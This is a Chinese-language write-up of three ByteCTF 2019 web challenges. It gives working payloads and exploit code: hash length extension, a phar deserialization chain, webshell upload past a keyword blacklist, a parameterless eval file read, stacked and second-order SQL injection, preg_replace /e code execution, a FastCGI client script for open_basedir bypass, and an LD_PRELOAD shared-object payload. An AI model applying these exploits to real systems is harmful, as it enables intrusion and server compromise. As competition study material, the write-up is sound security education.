EZcms
https://www.cnblogs.com/wfzWebSecuity/p/11527392.html
https://github.com/glzjin/bytectf_2019_ezcms
http://www.lovei.org/archives/bytectf2019.html
考点为hash长度扩展+phar反序列化
首先扫描一下目录,可以发现源码泄露。扫了一眼,其中config.php
如下:
filename = $filename;
}
function check(){
$content = file_get_contents($this->filename);
$black_list = ['system','eval','exec','+','passthru','`','assert'];
foreach ($black_list as $k=>$v){
if (stripos($content, $v) !== false){
die("your file make me scare");
}
}
return 1;
}
}
class File{
public $filename;
public $filepath;
public $checker;
function __construct($filename, $filepath)
{
$this->filepath = $filepath;
$this->filename = $filename;
}
public function view_detail(){
if (preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)){
die("nonono~");
}
$mine = mime_content_type($this->filepath);
$store_path = $this->open($this->filename, $this->filepath);
$res['mine'] = $mine;
$res['store_path'] = $store_path;
return $res;
}
public function open($filename, $filepath){
$res = "$filename is in $filepath";
return $res;
}
function __destruct()
{
if (isset($this->checker)){
$this->checker->upload_file();
}
}
}
class Admin{
public $size;
public $checker;
public $file_tmp;
public $filename;
public $upload_dir;
public $content_check;
function __construct($filename, $file_tmp, $size)
{
$this->upload_dir = 'sandbox/'.md5($_SERVER['REMOTE_ADDR']);
if (!file_exists($this->upload_dir)){
mkdir($this->upload_dir, 0777, true);
}
if (!is_file($this->upload_dir.'/.htaccess')){
file_put_contents($this->upload_dir.'/.htaccess', 'lolololol, i control all');
}
$this->size = $size;
$this->filename = $filename;
$this->file_tmp = $file_tmp;
$this->content_check = new Check($this->file_tmp);
$profile = new Profile();
$this->checker = $profile->is_admin();
}
public function upload_file(){
if (!$this->checker){
die('u r not admin');
}
$this->content_check -> check();
$tmp = explode(".", $this->filename);
$ext = end($tmp);
if ($this->size > 204800){
die("your file is too big");
}
move_uploaded_file($this->file_tmp, $this->upload_dir.'/'.md5($this->filename).'.'.$ext);
}
public function __call($name, $arguments)
{
}
}
class Profile{
public $username;
public $password;
public $admin;
public function is_admin(){
$this->username = $_SESSION['username'];
$this->password = $_SESSION['password'];
$secret = "********";
if ($this->username === "admin" && $this->password != "admin"){
if ($_COOKIE['user'] === md5($secret.$this->username.$this->password)){
return 1;
}
}
return 0;
}
function __call($name, $arguments)
{
$this->admin->open($this->username, $this->password);
}
}
hash长度扩展
很简单,hashPump
搞一下就ok了,然后再在请求头中放上新的cookie
。
然后应该是文件上传了,但是没有解析点,所以还是利用.htaccess
来解决,但是代码中已经有了.htaccess
,所以我们需要覆盖掉已有的文件来重新写一个.htaccess
。所以需要phar
反序列化来完成文件的覆盖。
所以我们需要找到文件操作的函数,来触发phar
反序列化。
在view.php
中不难发现,view_detail
方法中有用到mime_content_type
phar反序列化的利用链:
- 构造一个
File
类,__construct
为将checker
指向一个Profile
对象,如下:
class File{
public $filename;
public $filepath;
public $checker;
function __construct($filename, $filepath)
{
$this->checker = new Profile();
}
}
- 此时服务器反序列化
File
对象的时候,会调用File
的__destruct
,即
function __destruct()
{
if (isset($this->checker)){
$this->checker->upload_file();
}
}
- 但是
Profile
类并没有upload_file()
,在对象中调用一个不可访问方法时,__call就会被调用
function __call($name, $arguments)
{
$this->admin->open($this->username, $this->password);
}
- 我们也可以重新构造一个
Profile
类,来将$admin,$username,$password
全部重写
class Profile{
public $username;
public $password;
public $admin;
function __construct(){
$this->admin =
$this->username =
$this->password =
}
}
- 因为三个变量都是可控的,所以我们可以通过控制
admin
变量来调用所有内置类的open
方法。fuzz
一下,所有有open
方法的类(以后遇到需要用到内置类的同名方法时也能够进行快速fuzz)
其中ziparchive以及ziparchive::open
- 所以
Profile
中三个变量分别为
class Profile{
public $username;
public $password;
public $admin;
function __construct(){
$this->admin = new ZipArchive();
$this->username = "/var/www/html/sandbox/xxx/.htaccess";
$this->password = ZIPARCHIVE::OVERWRITE;
}
}
所以最后的exp为
checker = new Profile();
}
}
class Profile{
public $username;
public $password;
public $admin;
function __construct(){
$this->admin = new ZipArchive();
$this->username = "/var/www/html/sandbox/xxx/.htaccess";
$this->password = ZIPARCHIVE::OVERWRITE;
}
}
$exception = new File();
@unlike('vul.phar');
$phar = new Phar("vul.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("");
$phar->setMetadata($exception);
$phar->stopBuffering();
?>
然后是上传木马的时候会进行检查关键词
function check(){
$content = file_get_contents($this->filename);
$black_list = ['system','eval','exec','+','passthru','`','assert'];
foreach ($black_list as $k=>$v){
if (stripos($content, $v) !== false){
die("your file make me scare");
}
}
return 1;
}
关键词用.
连接即可。
wp
访问页面,获得hash
,使用hashpump
将
\
替换成%
,登录时账号为admin
,密码为admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00zz
到
upload.php
页面,上传木马文件
上传时将cookie
中的hash
改成user=f03071a6479f4b51edf874f785c28909
利用刚才的exp.php
生成vul.phar
文件,这里会报错表示phar readonly
,需要去php.ini
中将phar readonly
选项前面注释去掉,且设为Off
,生成的vul.phar
改成vul.txt
再次上传vul.txt
,同样要更改cookie
利用filter绕过对phar的过滤 (见suctf2019),上传之后利用php://filter/resource=phar://
解析,之后可以发现.htaccess
已经消失
view.php?filename=2dab927c19ee49f27ba22d578e2c28c5.txt&filepath=php://filter/resource=phar://./sandbox/a76ab7c1a624927bc33996bdb8e5d69f/2dab927c19ee49f27ba22d578e2c28c5.txt
这时候不能访问
upload.php
,不然又会重新生成.htaccess
文件。直接访问木马文件,得到shell
boring-code
http://www.guildhab.top/?p=1077
https://www.cnblogs.com/wfzWebSecuity/p/11527392.html
https://xz.aliyun.com/t/6305#toc-3
http://www.zyzilxy.top:1220/2019/09/08/bytectf-web-wpmisc-wp/
题目源码如下:
代码分析
可以发现大致可以分为两层:
- 如何构造一个可以绕过
filter_var()
、preg_match()
、file_get_contents()
的URL - 如何构造一个无参的,类似
a(b(c))
这个样式的shell
首先我们先考虑第一层
绕过filter_var()
、preg_match()
、file_get_contents()
,可以参考:
- https://www.cnblogs.com/wfzWebSecuity/p/11139832.html
- https://v0w.top/2018/11/23/SSRF-notes/#2-parse-url%E4%B8%8Elibcurl%E5%AF%B9curl%E7%9A%84%E8%A7%A3%E6%9E%90%E5%B7%AE%E5%BC%82
上述文章主要针对exec(curl -s -v)
以及file_get_contents()
这两种请求方式进行分析:
其中exec(curl -s -v)
,这种请求方式的,绕过filter_var()
、preg_match()
主要靠parse_url()
与 libcurl
对url
的解析差异。
但是如果是用file_get_contents()
来请求url
,我们只知道一种方式同时绕过上述三个函数,就是利用data://
伪协议来实施XSS,payload可以为data://baidu.com/plain;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pgo=
但是data
伪协议被过滤了。
目前我知道有几种方法:
- 氪金购买一个xxxbaidu.com的域名
- 使用百度网盘来生成恶意代码的下载链接,来绕过百度域名的限制
上传一个恶意脚本到网盘,使用f12
,可以在network
里找到文件链接
可以绕过第一层的限制
https://pcsdata.baidu.com/file/56f6fccae921d07f3c16ec128f50ccc5?fid=1512747330-250528-756792909588834&rt=pr&sign=FDtAER-DCb740ccc5511e5e8fedcff06b081203-GH3j%2FCsuxRONbQnQvsCxyst4cb4%3D&expires=8h&chkv=0&chkbd=0&chkpc=&dp-logid=6277347536586414989&dp-callid=0&dstime=1569656941&r=291388556&vip=0&use=1&channel=chunlei&web=1&app_id=250528&bdstoken=b471aadce60e975ee5748587faa5e9e3&logid=MTU2OTY1Njk0MTk1MDAuMzk1MzE0MTE3MzI2NzI0Nw==&clienttype=0
- 百度
url
的跳转
接下来来看第二层
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
要求构造一个无参的shell,类似a(b(c()))
这种形式,这里可以参考一叶飘零师傅,但是题目中又把带et
全过滤了,所以有get
的函数全部不能使用。
题目提示说flag
在上层index.php
中,即整个网站的目录结构为
fuzz一下能用的函数
能用的却不多。
首先如果想要读取上层目录的文件,
..
是不可少的。我们需要知道的是scandir(getcwd())
这个函数会将当前目录下所有文件都放在一个数组中返回,但是getcwd()
使用不了,我们可以用.
来表示当前目录,如下图:
其中数组第0个元素是.
,而第1个元素就是..
,所以我们可以用next(scandir('.'))
来获取..
。
因为不能带参数,所以
.
也不行,所以我们有没有无参的函数可以获得.
呢?这里有两种方法:
-
localeconv()
返回一个包含本地数字及货币格式信息的数组。其中第0个就是.
这时候再结合current()
或者pos()
来获得数组指定元素,默认就是第0个。 crypt(serialize(array()))
首先定义一个数组 , 然后对其进行序列化操作 , 输出序列化字符串 , 这里没什么问题 . 然后就用到一个非常关键的函数 :crypt()
。该函数是hash函数,主要是,上述结果中有可能会在字符串结尾产生一个.
。然后我们可以再利用chr(ord(strrev()))
,其中chr(ord())
可以将字符串的第一个字符取出来。这样我们也可以完成.
的生成
ord() : 解析 string 二进制值第一个字节为 0 到 255 范围的无符号整型类型( 不严禁的说就是将字符串第一个字符转换为 ASCII 编码 )
chr() : 返回相对应于 ASCII 所0指定的单个字符 , 该函数与 ord() 是对应的~
接下来是目录切换
chdir()
来完成目录的转换,但是chdir()
返回值是bool
,紧接着三个方法:
- 我们需要接下来的函数是输入
bool
,输出.
来让我们可以进行文件读取的。
这里需要用到time()
+localtime()
函数ByteCTF 2019 WriteUp By W&M
time() : 返回自从 Unix 纪元( 格林威治时间 1970 年 1 月 1 日 00:00:00 )到当前时间的秒数 , 也就是返回一个时间戳
localtime() : 以数值数组和关联数组的形式输出本地时间 .
time()
的参数为 void 也就是说引入任意的参数都不会影响 , 其输出( 不用去管那个警告 ) , 但是返回的时间戳无法成为" . "
localtime()
数组,可以提取出秒数的值,用chr转换为字符串.
,即在 46s 时 chr(pos(localtime()))
就会返回 ” . ”
再根据
readfile(end('.'))
读取当前目录最后一个文件,即index.php
,所以最后payload
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
- 上述
payload
需要多发几次,让时间刚好卡在46秒。除了用时间函数来获取46这个数字之外,还可以用各种数学的方法来获得46。ByteCTF 2019 WriteUp Kn0ck
核心思路是:phpvesion()
会获取当前的php版本号,然后使用floor()
来取得第一个数字(7)。(反正我只能说真的是神仙
给个payload
ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))
sqrt() : 返回一个数字的平方根
tan() : 返回一个数字的正切
cosh() : 返回一个数字的双曲余弦
sinh() : 返回一个数字的双曲正弦
ceil() : 返回不小于一个数字的下一个整数 , 也就是向上取整
再通过
chr()
函数就可以返回ASCII
编码为 46 的字符 , 也就为.
, 后面的步骤就和之前一样 , 跳转到根目录 , 然后读取index.php
文件。
- 刚才获得
chdir()
返回的bool
,然后可以利用if
语句来进行当前目录下的文件的读取,payload
如下:
if(chdir(next(scandir(pos(localeconv())))))readfile(end(scandir(pos(localeconv()))));
babyblog
老规矩,扫描得到源码
漏洞分析
首先注意到下面两段代码,分别来自writing.php
和edit.php
if(isset($_POST['title']) && isset($_POST['content'])){
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql->query("insert into article (userid,title,content) values (" . $_SESSION['id'] . ", '$title','$content');");
exit("");
}else{
include("templates/writing.html");
exit();
}
if($_SESSION['id'] == $row['userid']){
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql->query("update article set title='$title',content='$content' where title='" . $row['title'] . "';");
exit("");
}else{
exit("");
}
第一段代码是将title
和content
经过addslashes()
过滤之后插入数据库之中。
$sql->query("insert into article (userid,title,content) values (" . $_SESSION['id'] . ", '$title','$content');");
第二段代码直接将数据库的title
查询出来直接拼接到update
语句中
$sql->query("update article set title='$title',content='$content' where title='" . $row['title'] . "';");
这里存在一个二次注入,我们可以将payload
通过writing.php
写入库中,再通过editing.php
重新拼接起来。
但是config.php
中将post
和get
方法所传递的参数给加了一层waf
function SafeFilter(&$arr){
foreach ($arr as $key => $value) {
if (!is_array($value)){
$filter = "benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\(|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\")|(\+|-|~|!|@:=|" . urldecode('%0B') . ").+?)FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
if(preg_match('/' . $filter . '/is', $value)){
exit("");
}
}else{
SafeFilter($arr[$key]);
}
}
}
$_GET && SafeFilter($_GET);
$_POST && SafeFilter($_POST);
这里我们可以根据这里的正则,在本地测试一下自己的代码是否能过waf
$value) {
if (!is_array($value)){
$filter = "benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\(|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\")|(\+|-|~|!|@:=|" . urldecode('%0B') . ").+?)FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
if(preg_match('/' . $filter . '/is', $value)){
echo preg_replace('/'.$filter.'/is',"@@@",$value);
echo "1111";
}
else{
echo "222";
}
}else{
SafeFilter($arr[$key]);
}
}
}
$_GET && SafeFilter($_GET);
?>
其中我们知道,当我们注册一个用户的时候,我们的isvip
属性是默认设为0的
$sql->query("insert into users (username,password,isvip) values ('$username', '$password',0);");
这里可以用两种方法得到isvip
值为1的用户。
- PDO在php5.3以后是支持堆叠查询,使用堆叠注入。payload如下:
Err0rzz';SET @SQL=0x757064617465207573657273207365742069737669703d3120776865726520757365726e616d653d2245727230727a7a223b;PREPARE a FROM @SQL;EXECUTE a;#
其中那串十六进制是update users set isvip=1 where username="Err0rzz";
- 该方法需要数据库中原本就有
isvip
为1的用户,从而注得账号密码,这里利用异或注入1'^(ascii(substr((select(group_concat(schema_name)) from (information_schema.schemata)),1,1))>1)^'1
,完整的注入脚本https://xz.aliyun.com/t/6324#toc-5
接下来可以看到replace.php
中有个可以代码执行的函数preg_replace(),
$content = addslashes(preg_replace("/" . $_POST['find'] . "/", $_POST['replace'], $row['content']));
$replace
会被当做代码执行,而且因为php版本5.4以下都可以用%00
来截断,所以我们可以用%00
来截断掉
"/" . $_POST['find'] . "/"
后面的那个/
所以最后的payload
如下:
$_POST['find']=.*/e%00
$_POST['replace']=phpinfo();
接下来通过
copy
命令进行shell
写入
__toString();
}
// special files (starting with a dot(.))
$it = new DirectoryIterator("glob:///.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}
";
}
?>
包含该文件可以绕过open_dir
的限制,浏览到根目录文件
用同样的方法上传
FastCGI
脚本
_host = $host;
$this->_port = $port;
}
public function setKeepAlive( $b ) {
$this->_keepAlive = (boolean) $b;
if ( ! $this->_keepAlive && $this->_sock ) {
fclose( $this->_sock );
}
}
public function getKeepAlive() {
return $this->_keepAlive;
}
public function setPersistentSocket( $b ) {
$was_persistent = ( $this->_sock && $this->_persistentSocket );
$this->_persistentSocket = (boolean) $b;
if ( ! $this->_persistentSocket && $was_persistent ) {
fclose( $this->_sock );
}
}
public function getPersistentSocket() {
return $this->_persistentSocket;
}
public function setConnectTimeout( $timeoutMs ) {
$this->_connectTimeout = $timeoutMs;
}
public function getConnectTimeout() {
return $this->_connectTimeout;
}
public function setReadWriteTimeout( $timeoutMs ) {
$this->_readWriteTimeout = $timeoutMs;
$this->set_ms_timeout( $this->_readWriteTimeout );
}
public function getReadWriteTimeout() {
return $this->_readWriteTimeout;
}
private function set_ms_timeout( $timeoutMs ) {
if ( ! $this->_sock ) {
return false;
}
return stream_set_timeout( $this->_sock, floor( $timeoutMs / 1000 ), ( $timeoutMs % 1000 ) * 1000 );
}
private function connect() {
if ( ! $this->_sock ) {
if ( $this->_persistentSocket ) {
$this->_sock = pfsockopen( $this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000 );
} else {
$this->_sock = fsockopen( $this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000 );
}
if ( ! $this->_sock ) {
throw new Exception( 'Unable to connect to FastCGI application: ' . $errstr );
}
if ( ! $this->set_ms_timeout( $this->_readWriteTimeout ) ) {
throw new Exception( 'Unable to set timeout on socket' );
}
}
}
private function buildPacket( $type, $content, $requestId = 1 ) {
$clen = strlen( $content );
return chr( self::VERSION_1 ) /* version */
. chr( $type ) /* type */
. chr( ( $requestId >> 8 ) & 0xFF ) /* requestIdB1 */
. chr( $requestId & 0xFF ) /* requestIdB0 */
. chr( ( $clen >> 8 ) & 0xFF ) /* contentLengthB1 */
. chr( $clen & 0xFF ) /* contentLengthB0 */
. chr( 0 ) /* paddingLength */
. chr( 0 ) /* reserved */
. $content; /* content */
}
private function buildNvpair( $name, $value ) {
$nlen = strlen( $name );
$vlen = strlen( $value );
if ( $nlen < 128 ) {
/* nameLengthB0 */
$nvpair = chr( $nlen );
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr( ( $nlen >> 24 ) | 0x80 ) . chr( ( $nlen >> 16 ) & 0xFF ) . chr( ( $nlen >> 8 ) & 0xFF ) . chr( $nlen & 0xFF );
}
if ( $vlen < 128 ) {
/* valueLengthB0 */
$nvpair .= chr( $vlen );
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr( ( $vlen >> 24 ) | 0x80 ) . chr( ( $vlen >> 16 ) & 0xFF ) . chr( ( $vlen >> 8 ) & 0xFF ) . chr( $vlen & 0xFF );
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
private function readNvpair( $data, $length = null ) {
$array = array();
if ( $length === null ) {
$length = strlen( $data );
}
$p = 0;
while ( $p != $length ) {
$nlen = ord( $data{$p ++} );
if ( $nlen >= 128 ) {
$nlen = ( $nlen & 0x7F << 24 );
$nlen |= ( ord( $data{$p ++} ) << 16 );
$nlen |= ( ord( $data{$p ++} ) << 8 );
$nlen |= ( ord( $data{$p ++} ) );
}
$vlen = ord( $data{$p ++} );
if ( $vlen >= 128 ) {
$vlen = ( $nlen & 0x7F << 24 );
$vlen |= ( ord( $data{$p ++} ) << 16 );
$vlen |= ( ord( $data{$p ++} ) << 8 );
$vlen |= ( ord( $data{$p ++} ) );
}
$array[ substr( $data, $p, $nlen ) ] = substr( $data, $p + $nlen, $vlen );
$p += ( $nlen + $vlen );
}
return $array;
}
private function decodePacketHeader( $data ) {
$ret = array();
$ret['version'] = ord( $data{0} );
$ret['type'] = ord( $data{1} );
$ret['requestId'] = ( ord( $data{2} ) << 8 ) + ord( $data{3} );
$ret['contentLength'] = ( ord( $data{4} ) << 8 ) + ord( $data{5} );
$ret['paddingLength'] = ord( $data{6} );
$ret['reserved'] = ord( $data{7} );
return $ret;
}
private function readPacket() {
if ( $packet = fread( $this->_sock, self::HEADER_LEN ) ) {
$resp = $this->decodePacketHeader( $packet );
$resp['content'] = '';
if ( $resp['contentLength'] ) {
$len = $resp['contentLength'];
while ( $len && ( $buf = fread( $this->_sock, $len ) ) !== false ) {
$len -= strlen( $buf );
$resp['content'] .= $buf;
}
}
if ( $resp['paddingLength'] ) {
$buf = fread( $this->_sock, $resp['paddingLength'] );
}
return $resp;
} else {
return false;
}
}
public function getValues( array $requestedInfo ) {
$this->connect();
$request = '';
foreach ( $requestedInfo as $info ) {
$request .= $this->buildNvpair( $info, '' );
}
fwrite( $this->_sock, $this->buildPacket( self::GET_VALUES, $request, 0 ) );
$resp = $this->readPacket();
if ( $resp['type'] == self::GET_VALUES_RESULT ) {
return $this->readNvpair( $resp['content'], $resp['length'] );
} else {
throw new Exception( 'Unexpected response type, expecting GET_VALUES_RESULT' );
}
}
public function request( array $params, $stdin ) {
$id = $this->async_request( $params, $stdin );
return $this->wait_for_response( $id );
}
public function async_request( array $params, $stdin ) {
$this->connect();
// Pick random number between 1 and max 16 bit unsigned int 65535
$id = mt_rand( 1, ( 1 << 16 ) - 1 );
// Using persistent sockets implies you want them keept alive by server!
$keepAlive = intval( $this->_keepAlive || $this->_persistentSocket );
$request = $this->buildPacket( self::BEGIN_REQUEST
, chr( 0 ) . chr( self::RESPONDER ) . chr( $keepAlive ) . str_repeat( chr( 0 ), 5 )
, $id
);
$paramsRequest = '';
foreach ( $params as $key => $value ) {
$paramsRequest .= $this->buildNvpair( $key, $value, $id );
}
if ( $paramsRequest ) {
$request .= $this->buildPacket( self::PARAMS, $paramsRequest, $id );
}
$request .= $this->buildPacket( self::PARAMS, '', $id );
if ( $stdin ) {
$request .= $this->buildPacket( self::STDIN, $stdin, $id );
}
$request .= $this->buildPacket( self::STDIN, '', $id );
if ( fwrite( $this->_sock, $request ) === false || fflush( $this->_sock ) === false ) {
$info = stream_get_meta_data( $this->_sock );
if ( $info['timed_out'] ) {
throw new TimedOutException( 'Write timed out' );
}
// Broken pipe, tear down so future requests might succeed
fclose( $this->_sock );
throw new Exception( 'Failed to write request to socket' );
}
$this->_requests[ $id ] = array(
'state' => self::REQ_STATE_WRITTEN,
'response' => null
);
return $id;
}
public function wait_for_response( $requestId, $timeoutMs = 0 ) {
if ( ! isset( $this->_requests[ $requestId ] ) ) {
throw new Exception( 'Invalid request id given' );
}
if ( $this->_requests[ $requestId ]['state'] == self::REQ_STATE_OK
|| $this->_requests[ $requestId ]['state'] == self::REQ_STATE_ERR
) {
return $this->_requests[ $requestId ]['response'];
}
if ( $timeoutMs > 0 ) {
// Reset timeout on socket for now
$this->set_ms_timeout( $timeoutMs );
} else {
$timeoutMs = $this->_readWriteTimeout;
}
$startTime = microtime( true );
do {
$resp = $this->readPacket();
if ( $resp['type'] == self::STDOUT || $resp['type'] == self::STDERR ) {
if ( $resp['type'] == self::STDERR ) {
$this->_requests[ $resp['requestId'] ]['state'] = self::REQ_STATE_ERR;
}
$this->_requests[ $resp['requestId'] ]['response'] .= $resp['content'];
}
if ( $resp['type'] == self::END_REQUEST ) {
$this->_requests[ $resp['requestId'] ]['state'] = self::REQ_STATE_OK;
if ( $resp['requestId'] == $requestId ) {
break;
}
}
if ( microtime( true ) - $startTime >= ( $timeoutMs * 1000 ) ) {
// Reset
$this->set_ms_timeout( $this->_readWriteTimeout );
throw new Exception( 'Timed out' );
}
} while ( $resp );
if ( ! is_array( $resp ) ) {
$info = stream_get_meta_data( $this->_sock );
// We must reset timeout but it must be AFTER we get info
$this->set_ms_timeout( $this->_readWriteTimeout );
if ( $info['timed_out'] ) {
throw new TimedOutException( 'Read timed out' );
}
if ( $info['unread_bytes'] == 0
&& $info['blocked']
&& $info['eof'] ) {
throw new ForbiddenException( 'Not in white list. Check listen.allowed_clients.' );
}
throw new Exception( 'Read failed' );
}
// Reset timeout
$this->set_ms_timeout( $this->_readWriteTimeout );
switch ( ord( $resp['content']{4} ) ) {
case self::CANT_MPX_CONN:
throw new Exception( 'This app can't multiplex [CANT_MPX_CONN]' );
break;
case self::OVERLOADED:
throw new Exception( 'New request rejected; too busy [OVERLOADED]' );
break;
case self::UNKNOWN_ROLE:
throw new Exception( 'Role value not known [UNKNOWN_ROLE]' );
break;
case self::REQUEST_COMPLETE:
return $this->_requests[ $requestId ]['response'];
}
}
}
$client = new Client("unix:///tmp/php-cgi.sock", -1);
$php_value = "open_basedir = /";
$filepath = '/tmp/readflag.php';
$content = 'Err0rzz';
echo $client->request(
array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SERVER_SOFTWARE' => 'php/fcgiclient',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9985',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'mag-tured',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_TYPE' => 'application/x-www-form-urlencoded',
'CONTENT_LENGTH' => strlen( $content ),
'PHP_VALUE' => $php_value,
),
$content
);
脚本中php_value
的值是我们的FastCGI
要传给FPM
的值用来修改php.ini
,并且根据SCRIPT_FILENAME
对php
文件进行执行/tmp/readflag.php
。
同时脚本还要修改的地方,就是使用套接字协议去加载socket
。Nginx
连接fastcgi
的方式有2种:TCP
和unix domain socket
,脚本使用的即第二种形式。根据不同的php版本,找不同的fastcgi
的套接字。在0CTF
的题目中,大家用的是php7.2
默认的FPM套接字/run/php/php7.3-fpm.sock
。其实FastCGI/FPM套接字都可以用。
出题人在tmp目录已经给我们FastCGI的套接字/tmp/php-cgi.sock,直接修改脚本new Client("unix:///tmp/php-cgi.sock", -1)
同时我们还要上传一个readflag.php
文件作为脚本的SCRIPT_FILENAME
,这里我让FPM
为我们加载这样一个php脚本,成功读到readflag
程序。
在buuoj
的实例中,由于没有用FPM/FastCGI
,所以只能用error_log+putenv
#zz.c
#define _GNU_SOURCE
#include
#include
#include
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("/readflag > /tmp/flag");
}
# exp.php
上传上面两个文件到/tmp
下,然后包含exp.php
即可。
除了error_log
外,mail
也能调用了外部进程sendmail
。
https://www.anquanke.com/post/id/175403#h2-3
https://www.anquanke.com/post/id/186186#h2-7
https://xz.aliyun.com/t/5598?tdsourcetag=s_pctim_aiomsg#toc-2